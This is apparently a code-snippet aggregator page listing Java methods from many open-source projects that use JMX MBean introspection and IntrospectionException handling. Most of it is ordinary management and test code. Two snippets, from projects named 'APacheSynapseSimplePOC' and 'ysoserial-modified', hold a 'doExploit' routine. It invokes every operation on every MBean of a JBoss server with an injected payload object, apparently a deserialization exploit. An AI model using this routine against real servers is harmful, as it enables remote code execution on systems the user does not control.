Java 类javax.management.IntrospectionException 实例源码

项目:OpenJSharp    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:jdk8u-jdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:openjdk-jdk10    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:Byter    文件:JmxNetworkManagerTest.java   
/**
 * Tests if buffer sizes are changeable via invoke function.
 * @throws IOException IOException
 * @throws IntrospectionException IntrospectionException
 * @throws InstanceNotFoundException InstanceNotFoundException
 * @throws ReflectionException ReflectionException
 */
@Test
public void testInvokeChangeBufferSize() throws IOException, IntrospectionException, InstanceNotFoundException, ReflectionException {
    //connect to server
    final JMXConnector connection = JmxConnectionHelper.buildJmxMPConnector(JMXSERVERIP,serverObj.getConnectorSystemPort());
    //get MBeanServerConnection
    MBeanServerConnection mbsConnection = JmxServerHelper.getMBeanServer(connection);
    //check if mbeans are registered
    Assert.assertNotSame(0,mbsConnection.getMBeanCount());
    //do actual test
    ObjectName networkManagerOn = JmxServerHelper.findObjectName(mbsConnection,"de.b4sh.byter","NetworkManager");
    //change writer buffer size
    int networkBufferSizeOLD = JmxServerHelper.getNetworkManagerNetworkBufferSize(mbsConnection,networkManagerOn);
    int writerBufferSizeOLD =  JmxServerHelper.getNetworkManagerWriterBufferSize(mbsConnection,networkManagerOn);
    JmxServerHelper.setNetworkManagerNetworkBufferSize(mbsConnection,networkManagerOn,1337);
    JmxServerHelper.setNetworkManagerWriterBufferSize(mbsConnection,networkManagerOn,1337);
    int networkBufferSize = JmxServerHelper.getNetworkManagerNetworkBufferSize(mbsConnection,networkManagerOn);
    int writerBufferSize =  JmxServerHelper.getNetworkManagerWriterBufferSize(mbsConnection,networkManagerOn);
    Assert.assertNotEquals(networkBufferSize,networkBufferSizeOLD);
    Assert.assertNotEquals(writerBufferSize,writerBufferSizeOLD);
    Assert.assertEquals(networkBufferSize,1337);
    Assert.assertEquals(writerBufferSize,1337);
}
项目:openjdk9    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:Java8CN    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:elasticsearch-benchmark-tool    文件:ElasticsearchBenchmarkToolMain.java   
private static void registerMbeans() {
    try {
        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();

        IndexingMbean indexingMbean = IndexingMbean.getInstance();
        SearchMbean searchMbean = SearchMbean.getInstance();
        GeneralMbean generalMbean = GeneralMbean.getInstance();

        JMXBeanWrapper indexingMbeanWrapper = new JMXBeanWrapper(indexingMbean);
        JMXBeanWrapper searchMbeanWrapper = new JMXBeanWrapper(searchMbean);
        JMXBeanWrapper generalMbeanWrapper = new JMXBeanWrapper(generalMbean);

        mbs.registerMBean(indexingMbeanWrapper, new ObjectName("io.logz.benchmarks.elasticsearch:type=Indexing,name=Indexing Metrics"));
        mbs.registerMBean(searchMbeanWrapper, new ObjectName("io.logz.benchmarks.elasticsearch:type=Search,name=Search Metrics"));
        mbs.registerMBean(generalMbeanWrapper, new ObjectName("io.logz.benchmarks.elasticsearch:type=General,name=General Metrics"));

    } catch (IntrospectionException | MalformedObjectNameException | NotCompliantMBeanException |
            InstanceAlreadyExistsException | MBeanRegistrationException e) {
        throw new RuntimeException("Could not initialize JMX metrics!", e);
    }
}
项目:alfresco-mt-support    文件:TenantAwareChainingUserRegistrySynchronizer.java   
protected void logPluginConfig(final String id)
{
    try
    {
        final StringBuilder nameBuff = new StringBuilder(200)
                .append("Alfresco:Type=Configuration,Category=Authentication,id1=managed,id2=").append(URLDecoder.decode(id, "UTF-8"));
        final ObjectName name = new ObjectName(nameBuff.toString());
        if (this.mbeanServer != null && this.mbeanServer.isRegistered(name))
        {
            final MBeanInfo info = this.mbeanServer.getMBeanInfo(name);
            final MBeanAttributeInfo[] attributes = info.getAttributes();
            LOGGER.debug("{} attributes:", id);
            for (final MBeanAttributeInfo attribute : attributes)
            {
                final Object value = this.mbeanServer.getAttribute(name, attribute.getName());
                LOGGER.debug("{} = {}", attribute.getName(), value);
            }
        }
    }
    catch (final MalformedObjectNameException | InstanceNotFoundException | IntrospectionException | AttributeNotFoundException
            | ReflectionException | MBeanException | IOException e)
    {
        LOGGER.warn("Exception during logging", e);
    }
}
项目:https-github.com-g0t4-jenkins2-course-spring-boot    文件:EndpointMBeanExportAutoConfigurationTests.java   
@Test
public void testEndpointMBeanExporterWithProperties() throws IntrospectionException,
        InstanceNotFoundException, MalformedObjectNameException, ReflectionException {
    MockEnvironment environment = new MockEnvironment();
    environment.setProperty("endpoints.jmx.domain", "test-domain");
    environment.setProperty("endpoints.jmx.unique_names", "true");
    environment.setProperty("endpoints.jmx.static_names", "key1=value1, key2=value2");
    this.context = new AnnotationConfigApplicationContext();
    this.context.setEnvironment(environment);
    this.context.register(JmxAutoConfiguration.class, EndpointAutoConfiguration.class,
            EndpointMBeanExportAutoConfiguration.class);
    this.context.refresh();
    this.context.getBean(EndpointMBeanExporter.class);

    MBeanExporter mbeanExporter = this.context.getBean(EndpointMBeanExporter.class);
    assertThat(mbeanExporter.getServer().getMBeanInfo(ObjectNameManager.getInstance(
            getObjectName("test-domain", "healthEndpoint", this.context).toString()
                    + ",key1=value1,key2=value2"))).isNotNull();
}
项目:jdk8u_jdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:lookaside_java-1.8.0-openjdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:product-ei    文件:CARBON15928JMXDisablingTest.java   
private MBeanInfo testMBeanForDatasource() throws Exception {
    Map<String, String[]> env = new HashMap<>();
    String[] credentials = { "admin", "admin" };
    env.put(JMXConnector.CREDENTIALS, credentials);
    try {
        String url = "service:jmx:rmi://localhost:12311/jndi/rmi://localhost:11199/jmxrmi";
        JMXServiceURL jmxUrl = new JMXServiceURL(url);
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
        MBeanServerConnection mBeanServer = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanObject = new ObjectName(dataSourceName + ",-1234:type=DataSource");
        MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(mbeanObject);
        return mBeanInfo;
    } catch (MalformedURLException | MalformedObjectNameException | IntrospectionException |
            ReflectionException e) {
        throw new AxisFault("Error while connecting to MBean Server " + e.getMessage(), e);
    }
}
项目:spring-boot-concourse    文件:EndpointMBeanExportAutoConfigurationTests.java   
@Test
public void testEndpointMBeanExporterWithProperties() throws IntrospectionException,
        InstanceNotFoundException, MalformedObjectNameException, ReflectionException {
    MockEnvironment environment = new MockEnvironment();
    environment.setProperty("endpoints.jmx.domain", "test-domain");
    environment.setProperty("endpoints.jmx.unique_names", "true");
    environment.setProperty("endpoints.jmx.static_names", "key1=value1, key2=value2");
    this.context = new AnnotationConfigApplicationContext();
    this.context.setEnvironment(environment);
    this.context.register(JmxAutoConfiguration.class, EndpointAutoConfiguration.class,
            EndpointMBeanExportAutoConfiguration.class);
    this.context.refresh();
    this.context.getBean(EndpointMBeanExporter.class);

    MBeanExporter mbeanExporter = this.context.getBean(EndpointMBeanExporter.class);
    assertThat(mbeanExporter.getServer().getMBeanInfo(ObjectNameManager.getInstance(
            getObjectName("test-domain", "healthEndpoint", this.context).toString()
                    + ",key1=value1,key2=value2"))).isNotNull();
}
项目:parfait    文件:AgentMonitoringView.java   
private String checkAttributeName(ObjectName mBeanName, String attributeName) throws UnsupportedOperationException, InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
    MBeanInfo beanInfo = server.getMBeanInfo(mBeanName);
    MBeanAttributeInfo monitoredAttribute = null;
    MBeanAttributeInfo[] attributes = beanInfo.getAttributes();
    for (MBeanAttributeInfo attribute : attributes) {
        if (attribute.getName().equals(attributeName)) {
            monitoredAttribute = attribute;
            break;
        }
    }
    if (monitoredAttribute == null) {
        throw new UnsupportedOperationException("MBean [" + mBeanName +
                "] has no attribute named [" + attributeName + "]");
    }
    return monitoredAttribute.getType();
}
项目:contestparser    文件:EndpointMBeanExportAutoConfigurationTests.java   
@Test
public void testEndpointMBeanExporterWithProperties() throws IntrospectionException,
        InstanceNotFoundException, MalformedObjectNameException, ReflectionException {
    MockEnvironment environment = new MockEnvironment();
    environment.setProperty("endpoints.jmx.domain", "test-domain");
    environment.setProperty("endpoints.jmx.unique_names", "true");
    environment.setProperty("endpoints.jmx.static_names", "key1=value1, key2=value2");
    this.context = new AnnotationConfigApplicationContext();
    this.context.setEnvironment(environment);
    this.context.register(JmxAutoConfiguration.class, EndpointAutoConfiguration.class,
            EndpointMBeanExportAutoConfiguration.class);
    this.context.refresh();
    this.context.getBean(EndpointMBeanExporter.class);

    MBeanExporter mbeanExporter = this.context.getBean(EndpointMBeanExporter.class);

    assertNotNull(mbeanExporter.getServer()
            .getMBeanInfo(ObjectNameManager.getInstance(
                    getObjectName("test-domain", "healthEndpoint", this.context)
                            .toString() + ",key1=value1,key2=value2")));
}
项目:contestparser    文件:EndpointMBeanExportAutoConfigurationTests.java   
@Test
public void testEndpointMBeanExporterInParentChild() throws IntrospectionException,
        InstanceNotFoundException, MalformedObjectNameException, ReflectionException {
    this.context = new AnnotationConfigApplicationContext();
    this.context.register(JmxAutoConfiguration.class, EndpointAutoConfiguration.class,
            EndpointMBeanExportAutoConfiguration.class);

    AnnotationConfigApplicationContext parent = new AnnotationConfigApplicationContext();
    parent.register(JmxAutoConfiguration.class, EndpointAutoConfiguration.class,
            EndpointMBeanExportAutoConfiguration.class);
    this.context.setParent(parent);

    parent.refresh();
    this.context.refresh();

    parent.close();
}
项目:scheduling    文件:RMRest.java   
/**
 * Retrieves attributes of the specified mbean.
 * 
 * @param sessionId current session
 * @param nodeJmxUrl mbean server url
 * @param objectName name of mbean
 * @param attrs set of mbean attributes
 * 
 * @return mbean attributes values
 */
@Override
@GET
@GZIP
@Produces("application/json")
@Path("node/mbean")
public Object getNodeMBeanInfo(@HeaderParam("sessionid") String sessionId,
        @QueryParam("nodejmxurl") String nodeJmxUrl, @QueryParam("objectname") String objectName,
        @QueryParam("attrs") List<String> attrs)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException,
        NotConnectedException, MalformedObjectNameException, NullPointerException {

    // checking that still connected to the RM
    RMProxyUserInterface rmProxy = checkAccess(sessionId);
    return rmProxy.getNodeMBeanInfo(nodeJmxUrl, objectName, attrs);
}
项目:scheduling    文件:RMRest.java   
/**
 * Retrieves attributes of the specified mbeans.
 * 
 * @param sessionId current session
 * @param objectNames mbean names (@see ObjectName format)
 * @param nodeJmxUrl mbean server url
 * @param attrs set of mbean attributes
 * 
 * @return mbean attributes values
 */
@Override
@GET
@GZIP
@Produces("application/json")
@Path("node/mbeans")
public Object getNodeMBeansInfo(@HeaderParam("sessionid") String sessionId,
        @QueryParam("nodejmxurl") String nodeJmxUrl, @QueryParam("objectname") String objectNames,
        @QueryParam("attrs") List<String> attrs)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException,
        NotConnectedException, MalformedObjectNameException, NullPointerException {

    // checking that still connected to the RM
    RMProxyUserInterface rmProxy = checkAccess(sessionId);
    return rmProxy.getNodeMBeansInfo(nodeJmxUrl, objectNames, attrs);
}
项目:scheduling    文件:RMRest.java   
/**
 * Returns the attributes <code>attr</code> of the mbean
 * registered as <code>name</code>.
 * @param sessionId a valid session
 * @param name mbean's object name
 * @param attrs attributes to enumerate
 * @return returns the attributes of the mbean 
 * @throws InstanceNotFoundException
 * @throws IntrospectionException
 * @throws ReflectionException
 * @throws IOException
 * @throws NotConnectedException 
 */
@Override
@GET
@GZIP
@Path("info/{name}")
@Produces("application/json")
public Object getMBeanInfo(@HeaderParam("sessionid") String sessionId, @PathParam("name") ObjectName name,
        @QueryParam("attr") List<String> attrs) throws InstanceNotFoundException, IntrospectionException,
        ReflectionException, IOException, NotConnectedException {
    RMProxyUserInterface rm = checkAccess(sessionId);

    if ((attrs == null) || (attrs.size() == 0)) {
        // no attribute is requested, we return
        // the description of the mbean
        return rm.getMBeanInfo(name);

    } else {
        return rm.getMBeanAttributes(name, attrs.toArray(new String[attrs.size()]));
    }
}
项目:scheduling    文件:ROConnection.java   
/**
 * @see javax.management.MBeanServerConnection#getMBeanInfo(javax.management.ObjectName)
 */
public MBeanInfo getMBeanInfo(final ObjectName name)
        throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
    if (this.subject == null) {
        return this.mbs.getMBeanInfo(name);
    }
    try {
        return (MBeanInfo) Subject.doAsPrivileged(this.subject, new PrivilegedExceptionAction<MBeanInfo>() {
            public final MBeanInfo run() throws Exception {
                return mbs.getMBeanInfo(name);
            }
        }, this.context);
    } catch (final PrivilegedActionException pe) {
        final Exception e = JMXProviderUtils.extractException(pe);
        if (e instanceof InstanceNotFoundException)
            throw (InstanceNotFoundException) e;
        if (e instanceof IntrospectionException)
            throw (IntrospectionException) e;
        if (e instanceof ReflectionException)
            throw (ReflectionException) e;
        if (e instanceof IOException)
            throw (IOException) e;
        throw JMXProviderUtils.newIOException("Got unexpected server exception: " + e, e);
    }
}
项目:infobip-open-jdk-8    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:jdk8u-dev-jdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:jdk7-jdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:lunchy    文件:MBeanService.java   
public static void copyAllAttributes(ObjectName on, JsonObject targetObject) {
    try {
        MBeanInfo mbi = mbs.getMBeanInfo(on);
        for (MBeanAttributeInfo mbai : mbi.getAttributes()) {
            Object attValue = mbs.getAttribute(on, mbai.getName());
            if (attValue instanceof Boolean) {
                targetObject.addProperty(mbai.getName(), (Boolean) attValue);
            } else if (attValue instanceof Character) {
                targetObject.addProperty(mbai.getName(), (Character) attValue);
            } else if (attValue instanceof Number) {
                targetObject.addProperty(mbai.getName(), (Number) attValue);
            } else if (attValue instanceof String) {
                targetObject.addProperty(mbai.getName(), (String) attValue);
            } else {
                targetObject.addProperty("OBJECT:" + mbai.getName(), attValue != null ? attValue.toString() : "null");
            }
        }
    } catch (InstanceNotFoundException | IntrospectionException | ReflectionException | AttributeNotFoundException
            | MBeanException e) {
        log.error("Failed to query mbean", e);
    }
}
项目:openjdk-source-code-learn    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:jumbune    文件:ExecutionServlet.java   
private void setYarnAndNonYarnDaemons(String host, YarnSlaveParam slave,
    ProfilerJMXDump dump,
    WorkerJMXInfo levelJMXInfo) throws IOException,
    AttributeNotFoundException, InstanceNotFoundException, MBeanException, ReflectionException,
    IntrospectionException {
  levelJMXInfo.setDataNode(dump.getAllJMXAttribute(JMXDeamons.DATA_NODE,  host,
      slave.getDataNodeJmxPort()));
  if(isYarnEnable){
    YarnWorkerJMXInfo ywji = (YarnWorkerJMXInfo) levelJMXInfo;
    ywji.setNodeManager(dump.getAllJMXAttribute(JMXDeamons.NODE_MANAGER,
        host, slave.getNodeManagerJmxPort()));
  }else{
    levelJMXInfo.setTaskTracker(dump.getAllJMXAttribute(JMXDeamons.TASK_TRACKER,  host,
          slave.getTaskTrackerJmxPort()));
  }
}
项目:jumbune    文件:ExecutionServlet.java   
private void setClusterLevelDaemons(YarnMaster master,
        ClusterWideInfo clusterWideInfo,
        ProfilerJMXDump dump)
        throws IOException, AttributeNotFoundException,
        InstanceNotFoundException, MBeanException, ReflectionException,
        IntrospectionException {
    clusterWideInfo.setNameNode(dump.getAllJMXAttribute(
            JMXDeamons.NAME_NODE ,master.getHost(),
            master.getNameNodeJmxPort()));
    if (isYarnEnable) {
        YarnClusterWideInfo yarnClusterWideInfo = (YarnClusterWideInfo) clusterWideInfo;
        yarnClusterWideInfo.setResourceManager(dump.getAllJMXAttribute(
                JMXDeamons.RESOURCE_MANAGER, 
                master.getHost(), master.getResourceManagerJmxPort()));
    } else {
        clusterWideInfo.setJobTracker(dump.getAllJMXAttribute(
                JMXDeamons.JOB_TRACKER, master.getHost(),
                master.getJobTrackerJmxPort()));
    }
}
项目:OLD-OpenJDK8    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:wildfly-core    文件:PluggableMBeanServerImpl.java   
private MBeanInfo getMBeanInfo(ObjectName name, boolean logAndAuthorize, boolean nullIfNotFound) throws InstanceNotFoundException, IntrospectionException, ReflectionException {
    Throwable error = null;
    MBeanServerPlugin delegate = null;
    final boolean readOnly = true;
    try {
        delegate = findDelegate(name);
        if (logAndAuthorize) {
            authorizeMBeanOperation(delegate, name, GET_MBEAN_INFO, null, JmxAction.Impact.READ_ONLY);
        }
        return delegate.getMBeanInfo(name);
    } catch (Exception e) {
        if (nullIfNotFound) {
            return null;
        }
        error = e;
        if (e instanceof InstanceNotFoundException) throw (InstanceNotFoundException)e;
        if (e instanceof IntrospectionException) throw (IntrospectionException)e;
        if (e instanceof ReflectionException) throw (ReflectionException)e;
        throw makeRuntimeException(e);
    } finally {
        if (logAndAuthorize && shouldAuditLog(delegate, readOnly)) {
            new MBeanServerAuditLogRecordFormatter(this, error, readOnly).getMBeanInfo(name);
        }
    }
}
项目:Boundary-Generic-JMX-Collector    文件:genericJMXAPI.java   
Boolean setDeltaValue() throws MalformedObjectNameException,
    AttributeNotFoundException, InstanceNotFoundException,
    MBeanException, ReflectionException, IOException,
    IntrospectionException {
    this.setCurrentValue();
    if (firstTime) {
        this.storeLastValue();
        this.firstTime = false;
        return false;
    } else {
        displayValue = this.currentValue - this.lastValue;
        this.storeLastValue();
        return true;
    }

}
项目:carbon-kernel    文件:MBeanRegistratorTest.java   
@Test()
public void testRegisterMBean() {

    MBeanServer mBeanServer = MBeanManagementFactory.getMBeanServer();
    initialMBeanCount = mBeanServer.getMBeanCount();
    MBeanRegistrator.registerMBean(new CarbonRuntimeService(new RuntimeManager()));
    Assert.assertTrue(mBeanServer.getMBeanCount() == initialMBeanCount + 1);

    String className = new CarbonRuntimeService(new RuntimeManager()).getClass().getName();
    if (className.indexOf('.') != -1) {
        className = className.substring(className.lastIndexOf('.') + 1);
    }

    String objectName = Constants.SERVER_PACKAGE + ":type=" + className;
    try {
        Assert.assertNotNull(mBeanServer.getMBeanInfo(new ObjectName(objectName)));
    } catch (MalformedObjectNameException | InstanceNotFoundException | IntrospectionException |
            ReflectionException e) {
        log.error("Error when retrieving mBean Inforation", e);
    }
}
项目:openjdk-jdk7u-jdk    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:product-dss    文件:CARBON15928JMXDisablingTest.java   
private MBeanInfo testMBeanForDatasource() throws Exception {
    Map<String, String[]> env = new HashMap<>();
    String[] credentials = { "admin", "admin" };
    env.put(JMXConnector.CREDENTIALS, credentials);
    try {
        String url = "service:jmx:rmi://localhost:12311/jndi/rmi://localhost:11199/jmxrmi";
        JMXServiceURL jmxUrl = new JMXServiceURL(url);
        JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxUrl, env);
        MBeanServerConnection mBeanServer = jmxConnector.getMBeanServerConnection();
        ObjectName mbeanObject = new ObjectName(dataSourceName + ",-1234:type=DataSource");
        MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(mbeanObject);
        return mBeanInfo;
    } catch (MalformedURLException | MalformedObjectNameException | IntrospectionException |
            ReflectionException e) {
        throw new AxisFault("Error while connecting to MBean Server " + e.getMessage(), e);
    }
}
项目:openjdk-icedtea7    文件:RMIConnector.java   
public MBeanInfo getMBeanInfo(ObjectName name)
throws InstanceNotFoundException,
        IntrospectionException,
        ReflectionException,
        IOException {

    if (logger.debugOn()) logger.debug("getMBeanInfo", "name=" + name);
    final ClassLoader old = pushDefaultClassLoader();
    try {
        return connection.getMBeanInfo(name, delegationSubject);
    } catch (IOException ioe) {
        communicatorAdmin.gotIOException(ioe);

        return connection.getMBeanInfo(name, delegationSubject);
    } finally {
        popDefaultClassLoader(old);
    }
}
项目:APacheSynapseSimplePOC    文件:JBoss.java   
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
项目:OpenJSharp    文件:StandardMBeanIntrospector.java   
@Override
MBeanAttributeInfo getMBeanAttributeInfo(String attributeName,
        Method getter, Method setter) {

    final String description = "Attribute exposed for management";
    try {
        return new MBeanAttributeInfo(attributeName, description,
                                      getter, setter);
    } catch (IntrospectionException e) {
        throw new RuntimeException(e); // should not happen
    }
}
项目:OpenJSharp    文件:MBeanServerAccessController.java   
/**
 * Call <code>checkRead()</code>, then forward this method to the
 * wrapped object.
 */
public MBeanInfo getMBeanInfo(ObjectName name)
    throws
    InstanceNotFoundException,
    IntrospectionException,
    ReflectionException {
    checkRead();
    return getMBeanServer().getMBeanInfo(name);
}
项目:ysoserial-modified    文件:JBoss.java   
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
项目:monarch    文件:MBeanServerWrapper.java   
private ResourcePermission getOperationContext(ObjectName objectName, String featureName,
    boolean isOp) throws InstanceNotFoundException, ReflectionException {
  MBeanInfo beanInfo = null;
  try {
    beanInfo = mbs.getMBeanInfo(objectName);
  } catch (IntrospectionException e) {
    throw new GemFireSecurityException("error getting beanInfo of " + objectName, e);
  }
  // If there is no annotation defined either in the class level or method level, we should
  // consider this operation/attribute freely accessible
  ResourcePermission result = null;

  // find the context in the beanInfo if defined in the class level
  result = getOperationContext(beanInfo.getDescriptor(), result);

